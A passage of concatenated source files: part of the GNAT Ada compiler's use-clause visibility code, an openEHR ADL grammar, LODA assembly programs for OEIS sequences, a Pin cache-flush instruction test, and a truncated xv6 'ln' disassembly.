experiment was carried out: -- - Save_Scope_Stack was modified to store in an Elist1 all those -- entities whose attribute Is_Immediately_Visible is modified -- from True to False. -- - Restore_Scope_Stack was modified to store in another Elist2 -- all the entities whose attribute Is_Immediately_Visible is -- modified from False to True. -- - Extra code was added to verify that all the elements of Elist1 -- are found in Elist2 -- This test shows that there may be more occurrences of this problem which -- have not yet been detected. As a result, we replaced that approach by -- the current one in which Save_Scope_Stack returns the list of entities -- whose visibility is changed, and that list is passed to Restore_Scope_ -- Stack to undo that change. This approach is simpler and safer, although -- it consumes more memory. function Save_Scope_Stack (Handle_Use : Boolean := True) return Elist_Id is Result : constant Elist_Id := New_Elmt_List; E : Entity_Id; S : Entity_Id; SS_Last : constant Int := Scope_Stack.Last; procedure Remove_From_Visibility (E : Entity_Id); -- If E is immediately visible then append it to the result and remove -- it temporarily from visibility. ---------------------------- -- Remove_From_Visibility -- ---------------------------- procedure Remove_From_Visibility (E : Entity_Id) is begin if Is_Immediately_Visible (E) then Append_Elmt (E, Result); Set_Is_Immediately_Visible (E, False); end if; end Remove_From_Visibility; -- Start of processing for Save_Scope_Stack begin if SS_Last >= Scope_Stack.First and then Scope_Stack.Table (SS_Last).Entity /= Standard_Standard then if Handle_Use then End_Use_Clauses (Scope_Stack.Table (SS_Last).First_Use_Clause); end if; -- If the call is from within a compilation unit, as when called from -- Rtsfind, make current entries in scope stack invisible while we -- analyze the new unit. for J in reverse 0 .. SS_Last loop exit when Scope_Stack.Table (J).Entity = Standard_Standard or else No (Scope_Stack.Table (J).Entity); S := Scope_Stack.Table (J).Entity; Remove_From_Visibility (S); E := First_Entity (S); while Present (E) loop Remove_From_Visibility (E); Next_Entity (E); end loop; end loop; end if; return Result; end Save_Scope_Stack; ------------- -- Set_Use -- ------------- procedure Set_Use (L : List_Id) is Decl : Node_Id; Pack_Name : Node_Id; Pack : Entity_Id; Id : Entity_Id; begin if Present (L) then Decl := First (L); while Present (Decl) loop if Nkind (Decl) = N_Use_Package_Clause then Chain_Use_Clause (Decl); Pack_Name := First (Names (Decl)); while Present (Pack_Name) loop Pack := Entity (Pack_Name); if Ekind (Pack) = E_Package and then Applicable_Use (Pack_Name) then Use_One_Package (Pack, Decl); end if; Next (Pack_Name); end loop; elsif Nkind (Decl) = N_Use_Type_Clause then Chain_Use_Clause (Decl); Id := First (Subtype_Marks (Decl)); while Present (Id) loop if Entity (Id) /= Any_Type then Use_One_Type (Id); end if; Next (Id); end loop; end if; Next (Decl); end loop; end if; end Set_Use; --------------------- -- Use_One_Package -- --------------------- procedure Use_One_Package (P : Entity_Id; N : Node_Id) is Id : Entity_Id; Prev : Entity_Id; Current_Instance : Entity_Id := Empty; Real_P : Entity_Id; Private_With_OK : Boolean := False; begin if Ekind (P) /= E_Package then return; end if; Set_In_Use (P); Set_Current_Use_Clause (P, N); -- Ada 2005 (AI-50217): Check restriction if From_Limited_With (P) then Error_Msg_N ("limited withed package cannot appear in use clause", N); end if; -- Find enclosing instance, if any if In_Instance then Current_Instance := Current_Scope; while not Is_Generic_Instance (Current_Instance) loop Current_Instance := Scope (Current_Instance); end loop; if No (Hidden_By_Use_Clause (N)) then Set_Hidden_By_Use_Clause (N, New_Elmt_List); end if; end if; -- If unit is a package renaming, indicate that the renamed -- package is also in use (the flags on both entities must -- remain consistent, and a subsequent use of either of them -- should be recognized as redundant). if Present (Renamed_Object (P)) then Set_In_Use (Renamed_Object (P)); Set_Current_Use_Clause (Renamed_Object (P), N); Real_P := Renamed_Object (P); else Real_P := P; end if; -- Ada 2005 (AI-262): Check the use_clause of a private withed package -- found in the private part of a package specification if In_Private_Part (Current_Scope) and then Has_Private_With (P) and then Is_Child_Unit (Current_Scope) and then Is_Child_Unit (P) and then Is_Ancestor_Package (Scope (Current_Scope), P) then Private_With_OK := True; end if; -- Loop through entities in one package making them potentially -- use-visible. Id := First_Entity (P); while Present (Id) and then (Id /= First_Private_Entity (P) or else Private_With_OK) -- Ada 2005 (AI-262) loop Prev := Current_Entity (Id); while Present (Prev) loop if Is_Immediately_Visible (Prev) and then (not Is_Overloadable (Prev) or else not Is_Overloadable (Id) or else (Type_Conformant (Id, Prev))) then if No (Current_Instance) then -- Potentially use-visible entity remains hidden goto Next_Usable_Entity; -- A use clause within an instance hides outer global entities, -- which are not used to resolve local entities in the -- instance. Note that the predefined entities in Standard -- could not have been hidden in the generic by a use clause, -- and therefore remain visible. Other compilation units whose -- entities appear in Standard must be hidden in an instance. -- To determine whether an entity is external to the instance -- we compare the scope depth of its scope with that of the -- current instance. However, a generic actual of a subprogram -- instance is declared in the wrapper package but will not be -- hidden by a use-visible entity. similarly, an entity that is -- declared in an enclosing instance will not be hidden by an -- an entity declared in a generic actual, which can only have -- been use-visible in the generic and will not have hidden the -- entity in the generic parent. -- If Id is called Standard, the predefined package with the -- same name is in the homonym chain. It has to be ignored -- because it has no defined scope (being the only entity in -- the system with this mandated behavior). elsif not Is_Hidden (Id) and then Present (Scope (Prev)) and then not Is_Wrapper_Package (Scope (Prev)) and then Scope_Depth (Scope (Prev)) < Scope_Depth (Current_Instance) and then (Scope (Prev) /= Standard_Standard or else Sloc (Prev) > Standard_Location) then if In_Open_Scopes (Scope (Prev)) and then Is_Generic_Instance (Scope (Prev)) and then Present (Associated_Formal_Package (P)) then null; else Set_Is_Potentially_Use_Visible (Id); Set_Is_Immediately_Visible (Prev, False); Append_Elmt (Prev, Hidden_By_Use_Clause (N)); end if; end if; -- A user-defined operator is not use-visible if the predefined -- operator for the type is immediately visible, which is the case -- if the type of the operand is in an open scope. This does not -- apply to user-defined operators that have operands of different -- types, because the predefined mixed mode operations (multiply -- and divide) apply to universal types and do not hide anything. elsif Ekind (Prev) = E_Operator and then Operator_Matches_Spec (Prev, Id) and then In_Open_Scopes (Scope (Base_Type (Etype (First_Formal (Id))))) and then (No (Next_Formal (First_Formal (Id))) or else Etype (First_Formal (Id)) = Etype (Next_Formal (First_Formal (Id))) or else Chars (Prev) = Name_Op_Expon) then goto Next_Usable_Entity; -- In an instance, two homonyms may become use_visible through the -- actuals of distinct formal packages. In the generic, only the -- current one would have been visible, so make the other one -- not use_visible. elsif Present (Current_Instance) and then Is_Potentially_Use_Visible (Prev) and then not Is_Overloadable (Prev) and then Scope (Id) /= Scope (Prev) and then Used_As_Generic_Actual (Scope (Prev)) and then Used_As_Generic_Actual (Scope (Id)) and then not In_Same_List (Current_Use_Clause (Scope (Prev)), Current_Use_Clause (Scope (Id))) then Set_Is_Potentially_Use_Visible (Prev, False); Append_Elmt (Prev, Hidden_By_Use_Clause (N)); end if; Prev := Homonym (Prev); end loop; -- On exit, we know entity is not hidden, unless it is private if not Is_Hidden (Id) and then ((not Is_Child_Unit (Id)) or else Is_Visible_Lib_Unit (Id)) then Set_Is_Potentially_Use_Visible (Id); if Is_Private_Type (Id) and then Present (Full_View (Id)) then Set_Is_Potentially_Use_Visible (Full_View (Id)); end if; end if; <<Next_Usable_Entity>> Next_Entity (Id); end loop; -- Child units are also made use-visible by a use clause, but they may -- appear after all visible declarations in the parent entity list. while Present (Id) loop if Is_Child_Unit (Id) and then Is_Visible_Lib_Unit (Id) then Set_Is_Potentially_Use_Visible (Id); end if; Next_Entity (Id); end loop; if Chars (Real_P) = Name_System and then Scope (Real_P) = Standard_Standard and then Present_System_Aux (N) then Use_One_Package (System_Aux_Id, N); end if; end Use_One_Package; ------------------ -- Use_One_Type -- ------------------ procedure Use_One_Type (Id : Node_Id; Installed : Boolean := False) is Elmt : Elmt_Id; Is_Known_Used : Boolean; Op_List : Elist_Id; T : Entity_Id; function Spec_Reloaded_For_Body return Boolean; -- Determine whether the compilation unit is a package body and the use -- type clause is in the spec of the same package. Even though the spec -- was analyzed first, its context is reloaded when analysing the body. procedure Use_Class_Wide_Operations (Typ : Entity_Id); -- AI05-150: if the use_type_clause carries the "all" qualifier, -- class-wide operations of ancestor types are use-visible if the -- ancestor type is visible. ---------------------------- -- Spec_Reloaded_For_Body -- ---------------------------- function Spec_Reloaded_For_Body return Boolean is begin if Nkind (Unit (Cunit (Current_Sem_Unit))) = N_Package_Body then declare Spec : constant Node_Id := Parent (List_Containing (Parent (Id))); begin -- Check whether type is declared in a package specification, -- and current unit is the corresponding package body. The -- use clauses themselves may be within a nested package. return Nkind (Spec) = N_Package_Specification and then In_Same_Source_Unit (Corresponding_Body (Parent (Spec)), Cunit_Entity (Current_Sem_Unit)); end; end if; return False; end Spec_Reloaded_For_Body; ------------------------------- -- Use_Class_Wide_Operations -- ------------------------------- procedure Use_Class_Wide_Operations (Typ : Entity_Id) is Scop : Entity_Id; Ent : Entity_Id; function Is_Class_Wide_Operation_Of (Op : Entity_Id; T : Entity_Id) return Boolean; -- Determine whether a subprogram has a class-wide parameter or -- result that is T'Class. --------------------------------- -- Is_Class_Wide_Operation_Of -- --------------------------------- function Is_Class_Wide_Operation_Of (Op : Entity_Id; T : Entity_Id) return Boolean is Formal : Entity_Id; begin Formal := First_Formal (Op); while Present (Formal) loop if Etype (Formal) = Class_Wide_Type (T) then return True; end if; Next_Formal (Formal); end loop; if Etype (Op) = Class_Wide_Type (T) then return True; end if; return False; end Is_Class_Wide_Operation_Of; -- Start of processing for Use_Class_Wide_Operations begin Scop := Scope (Typ); if not Is_Hidden (Scop) then Ent := First_Entity (Scop); while Present (Ent) loop if Is_Overloadable (Ent) and then Is_Class_Wide_Operation_Of (Ent, Typ) and then not Is_Potentially_Use_Visible (Ent) then Set_Is_Potentially_Use_Visible (Ent); Append_Elmt (Ent, Used_Operations (Parent (Id))); end if; Next_Entity (Ent); end loop; end if; if Is_Derived_Type (Typ) then Use_Class_Wide_Operations (Etype (Base_Type (Typ))); end if; end Use_Class_Wide_Operations; -- Start of processing for Use_One_Type begin -- It is the type determined by the subtype mark (8.4(8)) whose -- operations become potentially use-visible. T := Base_Type (Entity (Id)); -- Either the type itself is used, the package where it is declared -- is in use or the entity is declared in the current package, thus -- use-visible. Is_Known_Used := In_Use (T) or else In_Use (Scope (T)) or else Scope (T) = Current_Scope; Set_Redundant_Use (Id, Is_Known_Used or else Is_Potentially_Use_Visible (T)); if Ekind (T) = E_Incomplete_Type then Error_Msg_N ("premature usage of incomplete type", Id); elsif In_Open_Scopes (Scope (T)) then null; -- A limited view cannot appear in a use_type clause. However, an access -- type whose designated type is limited has the flag but is not itself -- a limited view unless we only have a limited view of its enclosing -- package. elsif From_Limited_With (T) and then From_Limited_With (Scope (T)) then Error_Msg_N ("incomplete type from limited view " & "cannot appear in use clause", Id); -- If the subtype mark designates a subtype in a different package, -- we have to check that the parent type is visible, otherwise the -- use type clause is a noop. Not clear how to do that??? elsif not Redundant_Use (Id) then Set_In_Use (T); -- If T is tagged, primitive operators on class-wide operands -- are also available. if Is_Tagged_Type (T) then Set_In_Use (Class_Wide_Type (T)); end if; Set_Current_Use_Clause (T, Parent (Id)); -- Iterate over primitive operations of the type. If an operation is -- already use_visible, it is the result of a previous use_clause, -- and already appears on the corresponding entity chain. If the -- clause is being reinstalled, operations are already use-visible. if Installed then null; else Op_List := Collect_Primitive_Operations (T); Elmt := First_Elmt (Op_List); while Present (Elmt) loop if (Nkind (Node (Elmt)) = N_Defining_Operator_Symbol or else Chars (Node (Elmt)) in Any_Operator_Name) and then not Is_Hidden (Node (Elmt)) and then not Is_Potentially_Use_Visible (Node (Elmt)) then Set_Is_Potentially_Use_Visible (Node (Elmt)); Append_Elmt (Node (Elmt), Used_Operations (Parent (Id))); elsif Ada_Version >= Ada_2012 and then All_Present (Parent (Id)) and then not Is_Hidden (Node (Elmt)) and then not Is_Potentially_Use_Visible (Node (Elmt)) then Set_Is_Potentially_Use_Visible (Node (Elmt)); Append_Elmt (Node (Elmt), Used_Operations (Parent (Id))); end if; Next_Elmt (Elmt); end loop; end if; if Ada_Version >= Ada_2012 and then All_Present (Parent (Id)) and then Is_Tagged_Type (T) then Use_Class_Wide_Operations (T); end if; end if; -- If warning on redundant constructs, check for unnecessary WITH if Warn_On_Redundant_Constructs and then Is_Known_Used -- with P; with P; use P; -- package P is package X is package body X is -- type T ... use P.T; -- The compilation unit is the body of X. GNAT first compiles the -- spec of X, then proceeds to the body. At that point P is marked -- as use visible. The analysis then reinstalls the spec along with -- its context. The use clause P.T is now recognized as redundant, -- but in the wrong context. Do not emit a warning in such cases. -- Do not emit a warning either if we are in an instance, there is -- no redundancy between an outer use_clause and one that appears -- within the generic. and then not Spec_Reloaded_For_Body and then not In_Instance then -- The type already has a use clause if In_Use (T) then -- Case where we know the current use clause for the type if Present (Current_Use_Clause (T)) then Use_Clause_Known : declare Clause1 : constant Node_Id := Parent (Id); Clause2 : constant Node_Id := Current_Use_Clause (T); Ent1 : Entity_Id; Ent2 : Entity_Id; Err_No : Node_Id; Unit1 : Node_Id; Unit2 : Node_Id; function Entity_Of_Unit (U : Node_Id) return Entity_Id; -- Return the appropriate entity for determining which unit -- has a deeper scope: the defining entity for U, unless U -- is a package instance, in which case we retrieve the -- entity of the instance spec. -------------------- -- Entity_Of_Unit -- -------------------- function Entity_Of_Unit (U : Node_Id) return Entity_Id is begin if Nkind (U) = N_Package_Instantiation and then Analyzed (U) then return Defining_Entity (Instance_Spec (U)); else return Defining_Entity (U); end if; end Entity_Of_Unit; -- Start of processing for Use_Clause_Known begin -- If both current use type clause and the use type clause -- for the type are at the compilation unit level, one of -- the units must be an ancestor of the other, and the -- warning belongs on the descendant. if Nkind (Parent (Clause1)) = N_Compilation_Unit and then Nkind (Parent (Clause2)) = N_Compilation_Unit then -- If the unit is a subprogram body that acts as spec, -- the context clause is shared with the constructed -- subprogram spec. Clearly there is no redundancy. if Clause1 = Clause2 then return; end if; Unit1 := Unit (Parent (Clause1)); Unit2 := Unit (Parent (Clause2)); -- If both clauses are on same unit, or one is the body -- of the other, or one of them is in a subunit, report -- redundancy on the later one. if Unit1 = Unit2 then Error_Msg_Sloc := Sloc (Current_Use_Clause (T)); Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use_type_clause #??", Clause1, T); return; elsif Nkind (Unit1) = N_Subunit then Error_Msg_Sloc := Sloc (Current_Use_Clause (T)); Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use_type_clause #??", Clause1, T); return; elsif Nkind_In (Unit2, N_Package_Body, N_Subprogram_Body) and then Nkind (Unit1) /= Nkind (Unit2) and then Nkind (Unit1) /= N_Subunit then Error_Msg_Sloc := Sloc (Clause1); Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use_type_clause #??", Current_Use_Clause (T), T); return; end if; -- There is a redundant use type clause in a child unit. -- Determine which of the units is more deeply nested. -- If a unit is a package instance, retrieve the entity -- and its scope from the instance spec. Ent1 := Entity_Of_Unit (Unit1); Ent2 := Entity_Of_Unit (Unit2); if Scope (Ent2) = Standard_Standard then Error_Msg_Sloc := Sloc (Current_Use_Clause (T)); Err_No := Clause1; elsif Scope (Ent1) = Standard_Standard then Error_Msg_Sloc := Sloc (Id); Err_No := Clause2; -- If both units are child units, we determine which one -- is the descendant by the scope distance to the -- ultimate parent unit. else declare S1, S2 : Entity_Id; begin S1 := Scope (Ent1); S2 := Scope (Ent2); while Present (S1) and then Present (S2) and then S1 /= Standard_Standard and then S2 /= Standard_Standard loop S1 := Scope (S1); S2 := Scope (S2); end loop; if S1 = Standard_Standard then Error_Msg_Sloc := Sloc (Id); Err_No := Clause2; else Error_Msg_Sloc := Sloc (Current_Use_Clause (T)); Err_No := Clause1; end if; end; end if; Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use_type_clause #??", Err_No, Id); -- Case where current use type clause and the use type -- clause for the type are not both at the compilation unit -- level. In this case we don't have location information. else Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use type clause??", Id, T); end if; end Use_Clause_Known; -- Here if Current_Use_Clause is not set for T, another case -- where we do not have the location information available. else Error_Msg_NE -- CODEFIX ("& is already use-visible through previous " & "use type clause??", Id, T); end if; -- The package where T is declared is already used elsif In_Use (Scope (T)) then Error_Msg_Sloc := Sloc (Current_Use_Clause (Scope (T))); Error_Msg_NE -- CODEFIX ("& is already use-visible through package use clause #??", Id, T); -- The current scope is the package where T is declared else Error_Msg_Node_2 := Scope (T); Error_Msg_NE -- CODEFIX ("& is already use-visible inside package &??", Id, T); end if; end if; end Use_One_Type; ---------------- -- Write_Info -- ---------------- procedure Write_Info is Id : Entity_Id := First_Entity (Current_Scope); begin -- No point in dumping standard entities if Current_Scope = Standard_Standard then return; end if; Write_Str ("========================================================"); Write_Eol; Write_Str (" Defined Entities in "); Write_Name (Chars (Current_Scope)); Write_Eol; Write_Str ("========================================================"); Write_Eol; if No (Id) then Write_Str ("-- none --"); Write_Eol; else while Present (Id) loop Write_Entity_Info (Id, " "); Next_Entity (Id); end loop; end if; if Scope (Current_Scope) = Standard_Standard then -- Print information on the current unit itself Write_Entity_Info (Current_Scope, " "); end if; Write_Eol; end Write_Info; -------- -- ws -- -------- procedure ws is S : Entity_Id; begin for J in reverse 1 .. Scope_Stack.Last loop S := Scope_Stack.Table (J).Entity; Write_Int (Int (S)); Write_Str (" === "); Write_Name (Chars (S)); Write_Eol; end loop; end ws; -------- -- we -- -------- procedure we (S : Entity_Id) is E : Entity_Id; begin E := First_Entity (S); while Present (E) loop Write_Int (Int (E)); Write_Str (" === "); Write_Name (Chars (E)); Write_Eol; Next_Entity (E); end loop; end we; end Sem_Ch8;
src/main/antlr/adl/cadl14_primitives.g4
openEHR/adl-antlr
1
6520
<filename>src/main/antlr/adl/cadl14_primitives.g4<gh_stars>1-10 // // description: Antlr4 grammar for cADL primitives sub-syntax of Archetype Definition Language (ADL2) // author: <NAME> <<EMAIL>> // contributors:<NAME> <<EMAIL>> // support: openEHR Specifications PR tracker <https://openehr.atlassian.net/projects/SPECPR/issues> // copyright: Copyright (c) 2015- openEHR Foundation <http://www.openEHR.org> // license: Apache 2.0 License <http://www.apache.org/licenses/LICENSE-2.0.html> // grammar cadl14_primitives; import odin_values; // // ======================= Parser rules ======================== // c_primitive_object: c_integer | c_real | c_date | c_time | c_date_time | c_duration | c_string | c_terminology_code | c_boolean ; c_integer: ( integer_value | integer_list_value | integer_interval_value | integer_interval_list_value ) assumed_integer_value? ; assumed_integer_value: ';' integer_value ; c_real: ( real_value | real_list_value | real_interval_value | real_interval_list_value ) assumed_real_value? ; assumed_real_value: ';' real_value ; c_date_time: ( DATE_TIME_CONSTRAINT_PATTERN | date_time_value | date_time_list_value | date_time_interval_value | date_time_interval_list_value ) assumed_date_time_value? ; assumed_date_time_value: ';' date_time_value ; c_date: ( DATE_CONSTRAINT_PATTERN | date_value | date_list_value | date_interval_value | date_interval_list_value ) assumed_date_value? ; assumed_date_value: ';' date_value ; c_time: ( TIME_CONSTRAINT_PATTERN | time_value | time_list_value | time_interval_value | time_interval_list_value ) assumed_time_value? ; assumed_time_value: ';' time_value ; c_duration: ( DURATION_CONSTRAINT_PATTERN ( ( duration_interval_value | duration_value ))? | duration_value | duration_list_value | duration_interval_value | duration_interval_list_value ) assumed_duration_value? ; assumed_duration_value: ';' duration_value ; c_string: ( string_value | string_list_value | regex_constraint ) assumed_string_value? ; regex_constraint: SLASH_REGEX | CARET_REGEX ; assumed_string_value: ';' string_value ; c_terminology_code: c_local_term_code | c_qualified_term_code; c_local_term_code: '[' ( ( AC_CODE ( ';' AT_CODE )? ) | AT_CODE ) ']' ; //TERM_CODE_REF clashes a lot and is needed from within odin, unfortunately. Switching lexer modes might be better c_qualified_term_code: '[' terminology_id '::' ( (terminology_code ( ',' terminology_code )* ';' terminology_code) )? ']' | TERM_CODE_REF; terminology_id: ALPHA_LC_ID | ALPHA_UC_ID ; terminology_code: AT_CODE | AC_CODE | ALPHA_LC_ID | ALPHA_UC_ID | INTEGER ; c_boolean: ( boolean_value | boolean_list_value ) assumed_boolean_value? ; assumed_boolean_value: ';' boolean_value ; // // ======================= Lexical rules ======================== // // ---------- ISO8601-based date/time/duration constraint patterns DATE_CONSTRAINT_PATTERN : YEAR_PATTERN '-' MONTH_PATTERN '-' DAY_PATTERN ; TIME_CONSTRAINT_PATTERN : HOUR_PATTERN ':' MINUTE_PATTERN ':' SECOND_PATTERN ; DATE_TIME_CONSTRAINT_PATTERN : DATE_CONSTRAINT_PATTERN 'T' TIME_CONSTRAINT_PATTERN ; DURATION_CONSTRAINT_PATTERN : 'P' [yY]?[mM]?[Ww]?[dD]? ( 'T' [hH]?[mM]?[sS]? )? ('/')?; // date time pattern fragment YEAR_PATTERN : ( 'yyy' 'y'? ) | ( 'YYY' 'Y'? ) ; fragment MONTH_PATTERN : 'mm' | 'MM' | '??' | 'XX' | 'xx' ; fragment DAY_PATTERN : 'dd' | 'DD' | '??' | 'XX' | 'xx' ; fragment HOUR_PATTERN : 'hh' | 'HH' | '??' | 'XX' | 'xx' ; fragment MINUTE_PATTERN : 'mm' | 'MM' | '??' | 'XX' | 'xx' ; fragment SECOND_PATTERN : 'ss' | 'SS' | '??' | 'XX' | 'xx' ; // ---------- Delimited Regex matcher ------------ // In ADL, a regexp can only exist between {}. // allows for '/' or '^' delimiters // logical form - REGEX: '/' ( '\\/' | ~'/' )+ '/' | '^' ( '\\^' | ~'^' )+ '^'; // The following is used to ensure REGEXes don't get mixed up with paths, which use '/' chars SLASH_REGEX: '/' SLASH_REGEX_CHAR+ '/'; fragment SLASH_REGEX_CHAR: ~[/\n\r] | ESCAPE_SEQ | '\\/'; CARET_REGEX: '^' CARET_REGEX_CHAR+ '^'; fragment CARET_REGEX_CHAR: ~[^\n\r] | ESCAPE_SEQ | '\\^';
oeis/094/A094587.asm
neoneye/loda-programs
11
93795
<filename>oeis/094/A094587.asm ; A094587: Triangle of permutation coefficients arranged with 1's on the diagonal. Also, triangle of permutations on n letters with exactly k+1 cycles and with the first k+1 letters in separate cycles. ; Submitted by <NAME> ; 1,1,1,2,2,1,6,6,3,1,24,24,12,4,1,120,120,60,20,5,1,720,720,360,120,30,6,1,5040,5040,2520,840,210,42,7,1,40320,40320,20160,6720,1680,336,56,8,1,362880,362880,181440,60480,15120,3024,504,72,9,1,3628800,3628800,1814400,604800,151200,30240,5040,720,90,10,1,39916800,39916800,19958400,6652800,1663200,332640,55440,7920,990,110,11,1,479001600,479001600,239500800,79833600,19958400,3991680,665280,95040,11880,1320,132,12,1,6227020800,6227020800,3113510400,1037836800,259459200,51891840,8648640,1235520 mov $1,1 lpb $0 add $2,1 sub $0,$2 mul $1,$2 lpe lpb $0 dif $1,$0 sub $0,1 lpe mov $0,$1
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/InstructionTests/clflush.asm
ArthasZhang007/15418FinalProject
0
21427
; ; Copyright (C) 2017-2017 Intel Corporation. ; SPDX-License-Identifier: MIT ; include asm_macros.inc PROLOGUE .data extern funcPtr:ADDRINT_TYPE .code ; void ClFlushFunc(); ; This function calls clflush ClFlushFunc PROC mov GCX_REG ,funcPtr ;clflush (GCX_REG) db 00Fh, 0AEh, 039h ret ClFlushFunc ENDP ; void ClFlushOptFunc(); ; This function calls clflushopt ClFlushOptFunc PROC mov GCX_REG ,funcPtr ;clflushopt (GCX_REG) db 066h, 00Fh, 0AEh, 039h ret ClFlushOptFunc ENDP ; void ClwbFunc(); ; This function calls clwb ClwbFunc PROC mov GCX_REG ,funcPtr ;clwb (GCX_REG) db 066h, 00Fh, 0AEh, 031h ret ClwbFunc ENDP end
programs/oeis/088/A088512.asm
neoneye/loda
22
172741
; A088512: Number of partitions of n into two parts whose xor-sum is n. ; 0,0,0,1,0,1,1,3,0,1,1,3,1,3,3,7,0,1,1,3,1,3,3,7,1,3,3,7,3,7,7,15,0,1,1,3,1,3,3,7,1,3,3,7,3,7,7,15,1,3,3,7,3,7,7,15,3,7,7,15,7,15,15,31,0,1,1,3,1,3,3,7,1,3,3,7,3,7,7,15,1,3,3,7 mov $1,$0 lpb $1 div $0,2 sub $1,$0 lpe mov $0,2 pow $0,$1 sub $0,1 div $0,2
programs/oeis/040/A040208.asm
karttu/loda
1
12701
<reponame>karttu/loda ; A040208: Continued fraction for sqrt(223). ; 14,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13,1,28,1,13 cal $0,10201 ; Continued fraction for sqrt(142). add $1,$0 div $0,8 add $1,$0 mul $1,32 div $1,27
programs/oeis/156/A156865.asm
neoneye/loda
22
19106
<reponame>neoneye/loda ; A156865: 729000n - 612180. ; 116820,845820,1574820,2303820,3032820,3761820,4490820,5219820,5948820,6677820,7406820,8135820,8864820,9593820,10322820,11051820,11780820,12509820,13238820,13967820,14696820,15425820,16154820,16883820,17612820,18341820,19070820,19799820,20528820,21257820,21986820,22715820,23444820,24173820,24902820,25631820,26360820,27089820,27818820,28547820,29276820,30005820,30734820,31463820,32192820,32921820,33650820,34379820,35108820,35837820,36566820,37295820,38024820,38753820,39482820,40211820,40940820,41669820,42398820,43127820,43856820,44585820,45314820,46043820,46772820,47501820,48230820,48959820,49688820,50417820,51146820,51875820,52604820,53333820,54062820,54791820,55520820,56249820,56978820,57707820,58436820,59165820,59894820,60623820,61352820,62081820,62810820,63539820,64268820,64997820,65726820,66455820,67184820,67913820,68642820,69371820,70100820,70829820,71558820,72287820 mul $0,729000 add $0,116820
kristoph/kernel/main/entry.asm
vbmacher/qsOS
1
26535
<filename>kristoph/kernel/main/entry.asm ; ; ENTRY.ASM ; ; (c) Copyright 2001, <NAME>. ; ; Zaciatok - ENtry Point - Kernelu. ; ; Kernel vykona celu instalaciu systemu. ; Tento subor je vlastne startovacim kodom. Nezalezi na velkosti. ; ; Nastavenia compilera MASM .386p .model tiny .data segSystem equ 0FF0h segStack equ 5000h segSetup equ 8FF0h .code ;Funkcia main, ktora urobi nasledujuce instalacie... extrn _main:near .STARTUP header db 'KOS' db 0eah dd 0FF00108h ;Skok na 1000:0008 ;1000:0008: ;Najprv nastavime segmentove registre mov ax, segSystem mov ds, ax mov es, ax ;Zavolame MAIN. call _main cli hlt end
models/Prob.agda
mietek/epigram
48
9735
<filename>models/Prob.agda {-# OPTIONS --type-in-type #-} module Prob where open import DescTT mutual data Sch : Set where ty : (S : Set) -> Sch exPi : (s : Sch)(T : toType s -> Sch) -> Sch imPi : (S : Set)(T : S -> Sch) -> Sch toType : Sch -> Set toType (ty S) = S toType (exPi s T) = (x : toType s) -> toType (T x) toType (imPi S T) = (x : S) -> toType (T x) Args : Sch -> Set Args (ty _) = Unit Args (exPi s T) = Sigma (toType s) \ x -> Args (T x) Args (imPi S T) = Sigma S \ x -> Args (T x) postulate UId : Set Prp : Set Prf : Prp -> Set data Prob : Set where label : (u : UId)(s : Sch)(a : Args s) -> Prob patPi : (u : UId)(S : Set)(p : Prob) -> Prob hypPi : (p : Prp)(T : Prf p -> Prob) -> Prob recPi : (rec : Prob)(p : Prob) -> Prob
ln.asm
chintu3536/xv6
0
162670
<gh_stars>0 _ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 89 cb mov %ecx,%ebx if(argc != 3){ 11: 83 3b 03 cmpl $0x3,(%ebx) 14: 74 17 je 2d <main+0x2d> printf(2, "Usage: ln old new\n"); 16: 83 ec 08 sub $0x8,%esp 19: 68 08 08 00 00 push $0x808 1e: 6a 02 push $0x2 20: e8 2d 04 00 00 call 452 <printf> 25: 83 c4 10 add $0x10,%esp exit(); 28: e8 9e 02 00 00 call 2cb <exit> } if(link(argv[1], argv[2]) < 0) 2d: 8b 43 04 mov 0x4(%ebx),%eax 30: 83 c0 08 add $0x8,%eax 33: 8b 10 mov (%eax),%edx 35: 8b 43 04 mov 0x4(%ebx),%eax 38: 83 c0 04 add $0x4,%eax 3b: 8b 00 mov (%eax),%eax 3d: 83 ec 08 sub $0x8,%esp 40: 52 push %edx 41: 50 push %eax 42: e8 e4 02 00 00 call 32b <link> 47: 83 c4 10 add $0x10,%esp 4a: 85 c0 test %eax,%eax 4c: 79 21 jns 6f <main+0x6f> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 4e: 8b 43 04 mov 0x4(%ebx),%eax 51: 83 c0 08 add $0x8,%eax 54: 8b 10 mov (%eax),%edx 56: 8b 43 04 mov 0x4(%ebx),%eax 59: 83 c0 04 add $0x4,%eax 5c: 8b 00 mov (%eax),%eax 5e: 52 push %edx 5f: 50 push %eax 60: 68 1b 08 00 00 push $0x81b 65: 6a 02 push $0x2 67: e8 e6 03 00 00 call 452 <printf> 6c: 83 c4 10 add $0x10,%esp exit(); 6f: e8 57 02 00 00 call 2cb <exit> 00000074 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 74: 55 push %ebp 75: 89 e5 mov %esp,%ebp 77: 57 push %edi 78: 53 push %ebx asm volatile("cld; rep stosb" : 79: 8b 4d 08 mov 0x8(%ebp),%ecx 7c: 8b 55 10 mov 0x10(%ebp),%edx 7f: 8b 45 0c mov 0xc(%ebp),%eax 82: 89 cb mov %ecx,%ebx 84: 89 df mov %ebx,%edi 86: 89 d1 mov %edx,%ecx 88: fc cld 89: f3 aa rep stos %al,%es:(%edi) 8b: 89 ca mov %ecx,%edx 8d: 89 fb mov %edi,%ebx 8f: 89 5d 08 mov %ebx,0x8(%ebp) 92: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" 